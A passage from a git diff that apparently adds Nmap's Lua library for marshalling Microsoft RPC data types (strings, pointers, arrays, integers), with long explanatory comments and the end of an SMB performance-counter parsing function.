+ result[object_name][instance_name] = {}
+
+ -- Bring the pos to the start of the counter block
+ pos = instance_start + object_instances[j]['ByteLength']
+
+ --stdnse.debug1("\n INSTANCE: %s\n", instance_name)
+ --stdnse.debug1(" Length: %d\n", object_instances[j]['ByteLength'])
+ --stdnse.debug1(" NameOffset: %d\n", object_instances[j]['NameOffset'])
+ --stdnse.debug1(" NameLength: %d\n", object_instances[j]['NameLength'])
+ --stdnse.debug1(" --------------\n")
+
+ -- The counter block
+ local status, counter_block
+ status, pos, counter_block = parse_perf_counter_block(queryvalue_result['value'], pos)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, pos
+ end
+
+ for k = 1, object_type['NumCounters'], 1 do
+ -- Each individual counter
+ local status, counter_result
+ status, pos, counter_result = parse_perf_counter(queryvalue_result['value'], pos, counter_definitions[k])
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, pos
+ end
+
+ local counter_name = result['title_database'][counter_definitions[k]['CounterNameTitleIndex']]
+ --stdnse.debug1(" %s: %s\n", counter_name, counter_result)
+
+ -- Save it in the result
+ result[object_name][instance_name][counter_name] = counter_result
+ end
+
+ -- Bring the pos to the end of the next section
+ pos = instance_start + object_instances[j]['ByteLength'] + counter_block['ByteLength']
+ end
+ else
+ for k = 1, object_type['NumCounters'], 1 do
+ -- Each individual counter
+ local status, counter_result
+ status, pos, counter_result = parse_perf_counter(queryvalue_result['value'], pos, counter_definitions[k])
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, pos
+ end
+
+ local counter_name = result['title_database'][counter_definitions[k]['CounterNameTitleIndex']]
+ --stdnse.debug1(" %s: %s\n", counter_name, counter_result)
+
+ -- Save it in the result
+ result[object_name][counter_name] = counter_result
+ end
+ end
+ end
+
+ -- Blank out the database
+ result['title_database'] = nil
+ end
+
+ msrpc.stop_smb(smbstate)
+
+ return true, result
+end
+
+
+
+return _ENV;
diff --git a/nselib/msrpctypes.lua b/nselib/msrpctypes.lua
new file mode 100644
index 0000000..bb355b9
--- /dev/null
+++ b/nselib/msrpctypes.lua
@@ -0,0 +1,4712 @@
+---
+-- This module was written to marshall parameters for Microsoft RPC (MSRPC) calls. The values passed in and out are based
+-- on structs defined by the protocol, and documented by Samba developers. For detailed breakdowns of the types, take a
+-- look at Samba 4.0's <code>.idl</code> files.
+--
+-- There is nothing simple about how this all comes together, so I'll take some time to explain how it's done. This
+-- is fairly technical and, when it comes right down to it, unnecessary for how to use these functions (although if you
+-- want to write one of these, you best understand it).
+--
+-- There are base types, like int32 and int16. These are marshalled the way you'd expect (converted to a 4- or
+-- 2-byte little endian string). The only trick with these is that they have to end up aligned on 4-byte boundaries.
+-- So, a 2-byte integer requires 2 bytes of padding, and a 1-byte integer requires 3 bytes of padding. The functions
+-- <code>marshall_int32</code>, <code>marshall_int16</code>, etc. will marshall the base types, and <code>unmarshall_int32</code>,
+-- <code>unmarshall_int16</code>, etc. will unmarshall them.
+--
+-- Strings are a little bit trickier. A string is preceded by three 32-bit values: the max length, the offset, and
+-- the length. Additionally, strings may or may not be null terminated, depending on where they're being used. For
+-- more information on strings, see the comments on <code>marshall_unicode</code>. The functions <code>marshall_unicode</code>
+-- and <code>unmarshall_unicode</code> can be used to marshall/unmarshall strings.
+--
+-- Pointers also have interesting properties. A pointer is preceded by a 4-byte value called (at least by Wireshark)
+-- the "referent id". For a valid pointer, this can be anything except 0 (I use 'NMAP' for it). If it's '0', then
+-- it's a null pointer and the data doesn't actually follow. To help clarify, a pointer to the integer '4' could be
+-- marshalled as the hex string <code>78 56 34 12 04 00 00 00</code> (the referent_id is 0x12345678 and the integer
+-- itself is 0x00000004). If the integer is nil, then it's marshalled as <code>00 00 00 00</code>, which is simply
+-- a referent_id of 0.
+--
+-- From the perspective of the program, pointers can be marshalled by using the "<code>_ptr</code>" versions of normal functions
+-- (for example, <code>marshall_int32_ptr</code> and <code>unmarshall_unicode_ptr</code>. From the perspective
+-- of functions within this module, especially functions for marshalling structs and arrays, the <code>marshall_ptr</code>
+-- and <code>unmarshall_ptr</code> functions should be used. These can marshall any data type; the marshalling function
+-- is passed as a parameter.
+--
+-- So far, this is fairly straight forward. Arrays are where everything falls apart.
+--
+-- An array of basic types is simply the types themselves, preceded by the "max length" of the array (which can be
+-- longer than the actual length). When pointers are used in an array, however, things get hairy. The 'referent_id's
+-- of the pointers are all put at the start of the array, along with the base types. Then, the data is put at the
+-- end of the array, for all the referent_ids that aren't null. Let's say you have four strings, "abc", "def", null, and
+-- "jkl", in an array. The array would look like this:
+-- <code>
+-- 0x00200000 (referent_id for "abc")
+-- 0x00400000 (referent_id for "def")
+-- 0x00000000 (null referent_id)
+-- 0x00800000 (referent_id for "jkl")
+-- "abc" (note that this also has the standard string stuff, the max_length, offset, and actual_length)
+-- "def"
+-- "ghi"
+-- </code>
+--
+-- If you mix in a base type, it goes at the front along with the referent_ids. So, let's say you have a structure
+-- that contains two integers and a string. You have an array of these. It would encode like this:
+-- <code>
+-- 0x00200000 (referent_id for the string in the first struct)
+-- 0x00000001 (first integer in the first struct)
+-- 0x00000002 (second integer in the first struct)
+-- 0x00400000 (referent_id for the string in the second struct)
+-- 0x00000003 (first integer in the second struct)
+-- 0x00000004 (second integer in the second struct)
+-- "string1" (contains max_length, offset, and actual_length)
+-- "string2"
+-- </code>
+--
+-- From the perspective of the program, arrays shouldn't need to be marshalled/unmarshalled, this is tricky and should be
+-- left up to functions within this module. Functions within this module should use <code>marshall_array</code> and
+-- <code>unmarshall_array</code> to interact with arrays. These take callback functions for the datatype being stored
+-- in the array; these callback functions have to be in a particular format, so care should be taken when writing them.
+-- In particular, the first parameter has to be <code>location</code>, which is used to separate the header (the part with the
+-- referent_ids) and the body (the part with the pointer data). These are explained more thoroughly in the function headers.
+--
+-- Structs are handled the same as arrays. The referent_ids and base types go at the top, and the values being pointed to
+-- go at the bottom. An array of struct, as has already been shown, will have all the base types and referent_ids for all the
+-- members at the top, and all the values for all the pointers at the bottom.
+--
+-- Structs tend to be custom functions. Sometimes, these functions are passed as the callback to <code>marshall_ptr</code> or
+-- <code>marshall_array</code> (and the equivalent <code>unmarshall_</code> functions). This means that the custom struct
+-- functions have to be able to split themselves into the base types and the pointer data automatically. For an example, see
+-- the functions that have already been written.
+--
+-- In the case where you need to unmarshall the same struct from both an array and a pointer, there's an issue; they require
+-- different prototypes. There's really no way to directly fix this, at least, none that I could come up with, so I write
+-- a function called <code>unmarshall_struct</code>. <code>unmarshall_struct</code> basically calls a struct unmarshalling
+-- function the same way <code>unmarshall_array</code> would. This is a bit of a kludge, but it's the best I could come up
+-- with.
+--
+-- There are different sections in here, which correspond to "families" of types. I modeled these after Samba's <code>.idl</code> files.
+-- MISC corresponds to <code>misc.idl</code>, LSA to <code>lsa.idl</code>, etc. Each of these sections has possible dependencies; for example, SAMR
+-- functions use LSA strings, and everything uses SECURITY and MISC. So the order is important -- dependencies have to go
+-- above the module.
+--
+-- The datatypes used here are modeled after the datatypes used by Microsoft's functions. Each function that represents
+-- a struct will have the struct definition in its comment; and that struct (or the closest representation to it) will be
+-- returned. Often, this requires scripts to access something like <code>result['names']['names'][0]['name']</code>, which is
+-- rather unwieldy, but I decided that following Microsoft's definitions was the most usable way for many reasons. I find
+-- the best way to figure out how to work a function is to call a print_table()-style function on the result and look at
+-- how the response is laid out.
+--
+-- Many datatypes are automatically encoded when sent and decoded when received to make life easier for developers. Some
+-- examples are:
+-- * All absolute time values will be seconds from 1970
+-- * All relative time values will be in seconds (this includes the <code>hyper</code> datatype); when possible, the milliseconds/microseconds (as far down as we have access to) will be preserved as a decimal
+-- * All enumerations will be a string representing the constant (which can be converted to a user-readable string using one of the <code>_tostr</code> functions); what that means is, enumeration values are never used, only the names
+-- * SIDs will be converted to user-readable strings in the standard format (S-x-y-...)
+-- * GUIDs are stored as tables of values; however, I might change this to a string representation at some point
+
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local unicode = require "unicode"
+_ENV = stdnse.module("msrpctypes", stdnse.seeall)
+
+local REFERENT_ID = 0x50414d4e
+local HEAD = 'HEAD'
+local BODY = 'BODY'
+local ALL = 'ALL'
+
+--- Convert a string to Unicode (UTF-16 LE), optionally add a null terminator,
+-- and align it to 4-byte boundaries.
+--
+-- This is frequently used in MSRPC calls, so I put it here, but it might be a
+-- good idea to move this function (and the converse one below) into a separate
+-- library.
+--
+--@param string The string to convert.
+--@param do_null [optional] Add a null-terminator to the unicode string.
+-- Default false.
+--@return The unicode version of the string.
+function string_to_unicode(string, do_null)
+ local i
+
+ stdnse.debug4("MSRPC: Entering string_to_unicode(string = %s)", string)
+
+ if(do_null == nil) then
+ do_null = false
+ end
+
+ -- Try converting the value to a string
+ if(type(string) ~= 'string') then
+ string = tostring(string)
+ end
+
+ if(string == nil) then
+ stdnse.debug1("MSRPC: WARNING: couldn't convert value to string in string_to_unicode()")
+ end
+
+
+ local result = unicode.utf8to16(string)
+
+ -- Add a null, if the caller requested it
+ if(do_null == true) then
+ result = result .. "\0\0"
+ end
+
+ -- Align it to a multiple of 4, if necessary
+ if(#result % 4 ~= 0) then
+ result = result .. "\0\0"
+ end
+
+ stdnse.debug4("MSRPC: Leaving string_to_unicode()")
+
+ return result
+end
+
+--- Read a unicode string from a buffer, optionally eat the null terminator,
+-- and optionally align it to 4-byte boundaries.
+--
+--@param buffer The buffer to read from, typically the full 'arguments' value for MSRPC
+--@param pos The position in the buffer to start
+--@param length The number of ascii characters that will be read (including the null, if do_null is set).
+--@param do_null [optional] Remove a null terminator from the string as the last character. Default false.
+--@return pos The new position
+--@return string The string read. If there was an
+-- attempt to read off the end of the string, then 'nil' is returned for both parameters.
+function unicode_to_string(buffer, pos, length, do_null)
+ stdnse.debug4("MSRPC: Entering unicode_to_string(pos = %s, length = %d)", tostring(pos), length)
+
+ pos = pos or 1
+ local endpos = pos + length * 2 - 1
+
+ if endpos > #buffer then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a string in unicode_to_string(), this likely means we are reading a packet incorrectly. Please report! (pos = %d, #buffer = %d, endpos = %d)", pos, #buffer, endpos)
+
+ return nil, nil
+ end
+
+ local str = unicode.utf16to8(string.sub(buffer, pos, endpos))
+
+ if do_null then
+ str = string.sub(str, 1, -2) -- Eat the null terminator
+ end
+
+ -- Align to 4-byte boundary
+ endpos = endpos + (endpos + 1 - pos) % 4
+
+ stdnse.debug4("MSRPC: Leaving unicode_to_string()")
+
+ return endpos + 1, str
+end
+
+-------------------------------------
+-- SPECIAL
+-- (dependencies: n/a)
+-------------------------------------
+
+---Marshalls a pointer to another datatype.
+--
+-- This function will optionally separate the REFERENT_ID of the pointer (which
+-- goes at location = HEAD) from the data part of the pointer (which goes at
+-- location = BODY). If the entire pointer is needed, then location should be
+-- set to ALL.
+--
+-- When marshalling the body, the function <code>func</code> is called, which
+-- is passed as a parameter, with the arguments <code>args</code>. This
+-- function has to return a marshalled parameter, but other than that it can be
+-- any marshalling function. The 'value' parameter simply determined whether or
+-- not it's a null pointer, and will probably be a repeat of one of the
+-- arguments.
+--
+-- Note that the function <code>func</code> doesn't have to conform to any
+-- special prototype, as long as the <code>args</code> array matches what the
+-- function wants.
+--
+-- This can be used to marshall an int16 value of 0x1234 with padding like this:
+-- <code>
+-- marshall_ptr(ALL, marshall_int16, {0x1234, true}, 0x1234)
+-- </code>
+--
+-- And here's how a 'nil' string might be marshalled:
+-- <code>
+-- local str = nil
+-- marshall_ptr(ALL, marshall_unicode, {str, true}, str)
+-- </code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the
+-- referent_id), BODY (for the pointer data), or ALL (for both
+-- together). Generally, unless the referent_id is split from
+-- the data (for example, in an array), you will want ALL.
+--@param func The function to call when encoding the body. Should convert the
+-- arguments passed in the <code>args</code> parameter to a string.
+--@param args An array of arguments that will be directly passed to the
+-- function <code>func</code>
+--@param value The value that's actually being encoded. This is simply used to
+-- determine whether or not the pointer is null.
+--@return A string representing the marshalled data.
+local function marshall_ptr(location, func, args, value)
+ local result = ""
+
+ stdnse.debug4("MSRPC: Entering marshall_ptr(location = %s)", location)
+
+ -- If we're marshalling the HEAD section, add a REFERENT_ID.
+ if(location == HEAD or location == ALL) then
+ if(func == nil or args == nil or value == nil) then
+ result = result .. string.pack("<I4", 0)
+ else
+ result = result .. string.pack("<I4", REFERENT_ID)
+ end
+ end
+
+ -- If we're marshalling the BODY section, and the value isn't null, call the function to marshall
+ -- the data.
+ if(location == BODY or location == ALL) then
+ if(func == nil or args == nil or value == nil) then
+ else
+ result = result .. func(table.unpack(args))
+ end
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_ptr()")
+
+ return result
+end
+
+---Unmarshalls a pointer by removing the referent_id in the HEAD section and
+--the data in the BODY section (or both in the ALL section).
+--
+-- Because the unmarshall function for the body is called if and only if the
+-- referent_id is non-zero, if the head and the body are split apart, the
+-- second call to this function has to know the context. This is the purpose
+-- for the <code>result</code> parameter, it is the result from the first time
+-- this is called.
+--
+-- The function <code>func</code> has to conform to this format:
+--<code>
+-- func(data, pos, <args>)
+--</code>
+--
+--@param location The part of the pointer being processed, either HEAD (for the
+-- referent_id), BODY (for the pointer data), or ALL (for both
+-- together). Generally, unless the referent_id is split from
+-- the data (for example, in an array), you will want ALL.
+--@param data The data being processed.
+--@param pos The position within <code>data</code>
+--@param func The function that's used to process the body data (only
+-- called if it isn't a null pointer). This function has to conform
+-- to a specific prototype, see above.
+--@param args The arguments that'll be passed to the function
+-- <code>func</code>, after the data array and the position.
+--@param result This is required when unmarshalling the BODY section, which
+-- always comes after unmarshalling the HEAD. It is the result
+-- returned for this parameter during the HEAD unmarshall. If the
+-- referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return The new position
+--@reutrn The result. For HEAD the result is either <code>true</code> for valid
+-- pointers or <code>false</code> for null pointers. For BODY or ALL,
+-- the result is <code>nil</code> for null pointers, or the data for
+-- valid pointers.
+local function unmarshall_ptr(location, data, pos, func, args, result)
+ stdnse.debug4("MSRPC: Entering unmarshall_ptr()")
+ if(args == nil) then
+ args = {}
+ end
+ -- If we're unmarshalling the header, then pull off a referent_id.
+ if(location == HEAD or location == ALL) then
+ pos = pos or 1
+ if #data - pos + 1 < 4 then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_ptr(). Please report!")
+ return pos, nil
+ end
+ local referent_id
+ referent_id, pos = string.unpack("<I4", data, pos)
+
+ if(location == HEAD) then
+ if(referent_id == 0) then
+ result = false
+ else
+ result = true
+ end
+ else
+ if(referent_id == 0) then
+ result = nil
+ else
+ result = true
+ end
+ end
+ end
+
+ if(location == BODY or location == ALL) then
+ if(result == true) then
+ pos, result = func(data, pos, table.unpack(args))
+ else
+ result = nil
+ end
+ end
+
+ return pos, result
+end
+
+---Similar to <code>marshall_ptr</code>, except that this marshalls a type that isn't a pointer.
+--
+-- It also understands pointers, in the sense that it'll only return data in
+-- the HEAD section, since basetypes are printed in the HEAD and not the BODY.
+--
+-- Using this isn't strictly necessary, but it cleans up functions for
+-- generating structs containing both pointers and basetypes (see
+-- <code>marshall_srvsvc_NetShareInfo2</code>).
+--
+-- Like <code>marshall_ptr</code>, the function doesn't have to match any
+-- prototype, as long as the proper arguments are passed to it.
+--
+--@param location The part of the pointer wanted, either HEAD (for the data
+-- itself), BODY (for nothing, since this isn't a pointer), or
+-- ALL (for the data). Generally, unless the referent_id is
+-- split from the data (for example, in an array), you will want
+-- ALL.
+--@param func The function to call when encoding the body. Should convert the
+-- arguments passed in the <code>args</code> parameter to a string.
+--@param args An array of arguments that will be directly passed to the
+-- function <code>func</code>
+--@return A string representing the marshalled data.
+local function marshall_basetype(location, func, args)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_basetype()")
+
+ if(location == HEAD or location == ALL) then
+ result = func(table.unpack(args))
+ else
+ result = ""
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_basetype()")
+
+ return result
+end
+
+---Marshalls an array.
+--
+-- Recall (from the module comment) that the data in an array is split into the
+-- referent_ids and base types at the top and the data at the bottom. This
+-- function will call any number of location-aware functions twice (once for
+-- the top and once for the bottom).
+--
+-- Each element in the array can technically have a different function. I don't
+-- know why I allowed that, and may refactor it out in the future. For now, I
+-- strongly recommend setting the function to the same for every element.
+--
+-- The function that's called has to have the prototype:
+--<code>
+-- func(location, <args>)
+--</code>
+-- where "location" is the standard HEAD/BODY/ALL location used throughout the
+-- functions.
+--
+--@param array An array of tables. Each table contains 'func', a pointer to the
+-- marshalling function and 'args', the arguments to pass to the
+-- marshalling function after the 'location' variable.
+--@return A string representing the marshalled data.
+function marshall_array(array)
+
+ stdnse.debug4("MSRPC: Entering marshall_array()")
+
+ -- The max count is always at the front of the array (at least, in my tests). It is possible that
+ -- this won't always hold true, so if you're having an issue that you've traced back to this function,
+ -- you might want to double-check my assumption.
+ local result = {string.pack("<I4", #array)}
+
+ -- Encode the HEAD sections of all the elements in the array
+ for i = 1, #array, 1 do
+ local func = array[i]['func']
+ local args = array[i]['args']
+
+ result[#result+1] = func(HEAD, table.unpack(args))
+ end
+
+ -- Encode the BODY sections of all the elements in the array
+ for i = 1, #array, 1 do
+ local func = array[i]['func']
+ local args = array[i]['args']
+
+ result[#result+1] = func(BODY, table.unpack(args))
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_array()")
+ return table.concat(result)
+end
+
+---Unmarshalls an array.
+--
+-- This function starts to get a little hairy, due to the number of parameters
+-- that need to be propagated, but it isn't too bad. Basically, this
+-- unmarshalls an array by calling the given function for each element.
+--
+-- The function <code>func</code> has to conform to a very specific prototype:
+--<code>
+-- func(location, data, pos, result, <args>)
+--</code>
+-- Where <code>location<code> is the standard HEAD/BODY location,
+-- <code>data<code> and <code>pos<code> are the packet and position within it,
+-- <code>result<code> is the result from the HEAD section (if it's nil, it
+-- isn't used), and <code>args<code> are arbitrary arguments passed to it.
+--
+-- I made the call to pass the same arguments to each function when it's
+-- called. This is, for example, whether or not to null-terminate a string, or
+-- whether or not to pad an int16. If different types are required, you're
+-- probably out of luck.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param count The number of elements in the array.
+--@param func The function to call to unmarshall each parameter. Has to match a
+-- specific prototype; see the function comment.
+--@param args Arbitrary arguments to pass to the function.
+--@return The new position
+--@return The result of unmarshalling this value.
+local function unmarshall_array(data, pos, count, func, args)
+ stdnse.debug4("MSRPC: Entering unmarshall_array()")
+
+ if(args == nil) then
+ args = {}
+ end
+
+ pos = pos or 1
+ if #data - pos + 1 < 4 then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_array(). Please report!")
+ return pos, nil
+ end
+ local max_count, pos = string.unpack("<I4", data, pos)
+
+ local result = {}
+
+ -- Unmarshall the header, which will be referent_ids and base types.
+ for i = 1, count, 1 do
+ pos, result[i] = func(HEAD, data, pos, nil, table.unpack(args))
+ end
+
+ -- Unmarshall the body. Note that the original result (result[i]) is passed back
+ -- into this function. This is required for pointers because, to unmarshall a pointer,
+ -- we have to remember whether or not it's null.
+ for i = 1, count, 1 do
+ pos, result[i] = func(BODY, data, pos, result[i], table.unpack(args))
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_array()")
+
+ return pos, result
+end
+
+---Call a function that matches the prototype for <code>unmarshall_array</code>.
+--
+-- This allows the same struct to be used in <code>unmarshall_array</code> and
+-- in <code>unmarshall_ptr</code>. It is kind of a kludge, but it makes sense,
+-- and was the cleanest solution I could come up with to this problem (although
+-- I'm sure that there's a better one staring me in the face).
+--
+-- The <code>func</code> parameter, obviously, has to match the same prototype
+-- as strings being passed to <code>unmarshall_array</code>, which is:
+--<code>
+-- func(location, data, pos, result, <args>)
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param func The function to call to unmarshall each parameter. Has to match a
+-- specific prototype; see the function comment.
+--@param args Arbitrary arguments to pass to the function.
+--@return The new position
+--@return The result of unmarshalling this value.
+local function unmarshall_struct(data, pos, func, args)
+ local result
+
+ stdnse.debug4("MSRPC: Entering unmarshall_struct()")
+
+ if(args == nil) then
+ args = {}
+ end
+
+ pos, result = func(ALL, data, pos, nil, args)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_struct()")
+
+ return pos, result
+end
+
+-------------------------------------
+-- BASE TYPES
+-- (dependencies: n/a)
+-------------------------------------
+
+--- Marshall a string that is in the format:
+-- <code>[string,charset(UTF16)] uint16 *str</code>
+--
+-- This has the max size of the buffer, the offset (I'm not sure what the offset does, I've
+-- never seen it used), the actual size, and the string itself. This will always align to
+-- the 4-byte boundary.
+--
+--@param str The string to insert. Cannot be nil.
+--@param do_null [optional] Appends a null to the end of the string. Default false.
+--@param max_length [optional] Sets a max length that's different than the string's length. Length
+-- is in characters, not bytes.
+--@return A string representing the marshalled data.
+function marshall_unicode(str, do_null, max_length)
+ local buffer_length
+ local result
+
+ stdnse.debug4("MSRPC: Entering marshall_unicode()")
+
+ if(do_null == nil) then
+ do_null = false
+ end
+
+ if(do_null) then
+ buffer_length = #str + 1
+ else
+ buffer_length = #str
+ end
+
+ if(max_length == nil) then
+ max_length = buffer_length
+ end
+
+ result = string.pack("<I4I4I4",
+ max_length, -- Max count
+ 0, -- Offset
+ buffer_length) -- Actual count
+ .. string_to_unicode(str, do_null, true)
+
+ stdnse.debug4("MSRPC: Leaving marshall_unicode()")
+
+ return result
+end
+
+--- Marshall a null-terminated ascii string, with the length/maxlength prepended. Very similar
+-- to <code>marshall_unicode</code>, except it's ascii and the null terminator is always used.
+--
+--@param str The string to marshall.
+--@param max_length [optional] The maximum length; default: actual length.
+function marshall_ascii(str, max_length)
+ local buffer_length
+ local result
+
+ buffer_length = #str + 1
+
+ if(max_length == nil) then
+ max_length = buffer_length
+ end
+
+ local padding = string.rep('\0', (4 - (buffer_length % 4)) % 4)
+
+ result = string.pack("<I4I4I4z",
+ max_length,
+ 0,
+ buffer_length,
+ str)
+ .. padding
+
+ return result
+end
+
+--- Marshall a pointer to a unicode string.
+--
+--@param str The string to insert. Can be nil.
+--@param do_null [optional] Appends a null to the end of the string. Default false.
+--@param max_length [optional] Sets a max length that's different than the string's length. Length
+-- is in characters, not bytes.
+--@return A string representing the marshalled data.
+function marshall_unicode_ptr(str, do_null, max_length)
+ local result
+
+ stdnse.debug4("MSRPC: Entering marshall_unicode()")
+
+ result = marshall_ptr(ALL, marshall_unicode, {str, do_null, max_length}, str)
+
+ stdnse.debug4("MSRPC: Leaving marshall_unicode()")
+
+ return result
+end
+
+--- Marshall a pointer to an ascii string.
+--
+--@param str The string to insert. Can be nil.
+--@param max_length [optional] Sets a max length that's different than the string's length.
+--@return A string representing the marshalled data.
+function marshall_ascii_ptr(str, max_length)
+ local result
+
+ result = marshall_ptr(ALL, marshall_ascii, {str, max_length}, str)
+
+ return result
+end
+
+--- Unmarshall a string that is in the format:
+-- <code>[string,charset(UTF16)] uint16 *str</code>
+--
+-- See <code>marshall_unicode</code> for more information.
+--
+--@param data The data buffer.
+--@param pos The position in the data buffer.
+--@param do_null [optional] Discards the final character, the string terminator. Default false.
+--
+--@return (pos, str) The new position, and the string. The string may be nil.
+function unmarshall_unicode(data, pos, do_null)
+ local ptr, str
+ local max, offset, actual
+
+ stdnse.debug4("MSRPC: Entering unmarshall_unicode()")
+
+ if(do_null == nil) then
+ do_null = false
+ end
+
+ pos = pos or 1
+ if #data - pos + 1 < 3*4 then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_unicode(). Please report!")
+ return pos, nil
+ end
+ max, offset, actual, pos = string.unpack("<I4I4I4", data, pos)
+
+ pos, str = unicode_to_string(data, pos, actual, do_null, true)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_unicode()")
+
+ return pos, str
+end
+
+---Unmarshall a pointer to a unicode string.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param do_null [optional] Assumes a null is at the end of the string. Default false.
+--@return (pos, result) The new position and the string.
+function unmarshall_unicode_ptr(data, pos, do_null)
+ local result
+
+ stdnse.debug4("MSRPC: Entering unmarshall_unicode_ptr()")
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_unicode, {do_null})
+ stdnse.debug4("MSRPC: Leaving unmarshall_unicode_ptr()")
+
+ return pos, result
+end
+
+---Marshall an array of unicode strings. This is a perfect demonstration of how to use
+-- <code>marshall_array</code>.
+--
+--@param strings The array of strings to marshall
+--@param do_null [optional] Appends a null to the end of the string. Default false.
+--@return A string representing the marshalled data.
+function marshall_unicode_array(strings, do_null)
+ local array = {}
+ local result
+
+ for i = 1, #strings, 1 do
+ array[i] = {}
+ array[i]['func'] = marshall_ptr
+ array[i]['args'] = {marshall_unicode, {strings[i], do_null}, strings[i]}
+ end
+
+ result = marshall_array(array)
+
+ return result
+end
+
+---Marshall a pointer to an array of unicode strings. See <code>marshall_unicode_array</code>
+-- for more information.
+--
+--@param strings The array of strings to marshall
+--@param do_null [optional] Appends a null to the end of the string. Default false.
+--@return A string representing the marshalled data.
+function marshall_unicode_array_ptr(strings, do_null)
+ local result
+
+ result = marshall_ptr(ALL, marshall_unicode_array, {strings, do_null}, strings)
+
+ return result
+end
+
+--- Marshall an int64. This is simply an 8-byte integer inserted into the buffer, nothing fancy.
+--@param int64 The integer to insert
+--@return A string representing the marshalled data.
+function marshall_int64(int64)
+ local result
+
+ stdnse.debug4("MSRPC: Entering marshall_int64()")
+ result = string.pack("<I8", int64)
+ stdnse.debug4("MSRPC: Leaving marshall_int64()")
+
+ return result
+end
+
+--- Marshall an int32
+--
+-- <code> [in] uint32 var</code>
+--
+-- This is simply an integer inserted into the buffer, nothing fancy.
+--@param int32 The integer to insert
+--@return A string representing the marshalled data.
+function marshall_int32(int32)
+ local result
+
+ stdnse.debug4("MSRPC: Entering marshall_int32()")
+ result = string.pack("<I4", int32)
+ stdnse.debug4("MSRPC: Leaving marshall_int32()")
+
+ return result
+end
+
+---Marshall an array of int32 values.
+--
+--@param data The array
+--@return A string representing the marshalled data
+function marshall_int32_array(data)
+ local result = {
+ marshall_int32(0x0400), -- Max count
+ marshall_int32(0), -- Offset
+ marshall_int32(#data), -- Actual count
+ }
+
+ for _, v in ipairs(data) do
+ result[#result+1] = marshall_int32(v)
+ end
+
+ return table.concat(result)
+end
+
+--- Marshall an int16
+--
+-- <code> [in] uint16 var</code>
+--
+-- This is simply an integer inserted into the buffer, nothing fancy.
+--@param int16 The integer to insert
+--@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true.
+--@return A string representing the marshalled data.
+function marshall_int16(int16, pad)
+ local result
+
+ stdnse.debug4("MSRPC: Entering marshall_int16()")
+
+ if(pad == false) then
+ return string.pack("<I2", int16)
+ end
+
+ result = string.pack("<I2xx", int16)
+
+ stdnse.debug4("MSRPC: Leaving marshall_int16()")
+
+ return result
+end
+
+--- Marshall an int8
+--
+-- <code> [in] uint8 var</code>
+--
+-- This is simply an integer inserted into the buffer, nothing fancy.
+--
+--@param int8 The integer to insert
+--@param pad [optional] If set, will align the insert on 4-byte boundaries. Default: true.
+--@return A string representing the marshalled data.
+function marshall_int8(int8, pad)
+ local result
+
+ stdnse.debug4("MSRPC: Entering marshall_int8()")
+
+ if(pad == false) then
+ return string.pack("<B", int8)
+ end
+
+ result = string.pack("<Bxxx", int8)
+ stdnse.debug4("MSRPC: Leaving marshall_int8()")
+
+ return result
+end
+
+--- Unmarshall an int64. See <code>marshall_int64</code> for more information.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, int64) The new position, and the value.
+function unmarshall_int64(data, pos)
+ local value
+
+ stdnse.debug4("MSRPC: Entering unmarshall_int64()")
+ pos = pos or 1
+ if #data - pos + 1 < 8 then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_int64(). Please report!")
+ return pos, nil
+ end
+ value, pos = string.unpack("<i8", data, pos)
+ stdnse.debug4("MSRPC: Leaving unmarshall_int64()")
+
+ return pos, value
+end
+
+--- Unmarshall an int32. See <code>marshall_int32</code> for more information.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, int32) The new position, and the value.
+function unmarshall_int32(data, pos)
+ local value
+
+ pos = pos or 1
+ if #data - pos + 1 < 4 then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_int32(). Please report!")
+ return pos, nil
+ end
+ value, pos = string.unpack("<I4", data, pos)
+
+ return pos, value
+end
+
+--- Unmarshall an int16. See <code>marshall_int16</code> for more information.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@param pad [optional] If set, will remove extra bytes to align the packet, Default: true
+--@return (pos, int16) The new position, and the value.
+function unmarshall_int16(data, pos, pad)
+ local value
+
+ stdnse.debug4("MSRPC: Entering unmarshall_int16()")
+
+ pos = pos or 1
+ if #data - pos + 1 < 2 then
+ stdnse.debug1("MSRPC: ERROR: Ran off the end of a packet in unmarshall_int16(). Please report!")
+ return pos, nil
+ end
+ value, pos = string.unpack("<I2", data, pos)
+
+ if(pad == nil or pad == true) then
+ pos = pos + 2
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_int16()")
+
+ return pos, value
+end
+
+--- Unmarshall an int8. See <code>marshall_int8</code> for more information.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@param pad [optional] If set, will remove extra bytes to align the packet, Default: true
+--@return (pos, int8) The new position, and the value.
+function unmarshall_int8(data, pos, pad)
+ local value
+
+ stdnse.debug4("MSRPC: Entering unmarshall_int8()")
+
+ pos = pos or 1
+ if #data - pos + 1 < 1 then
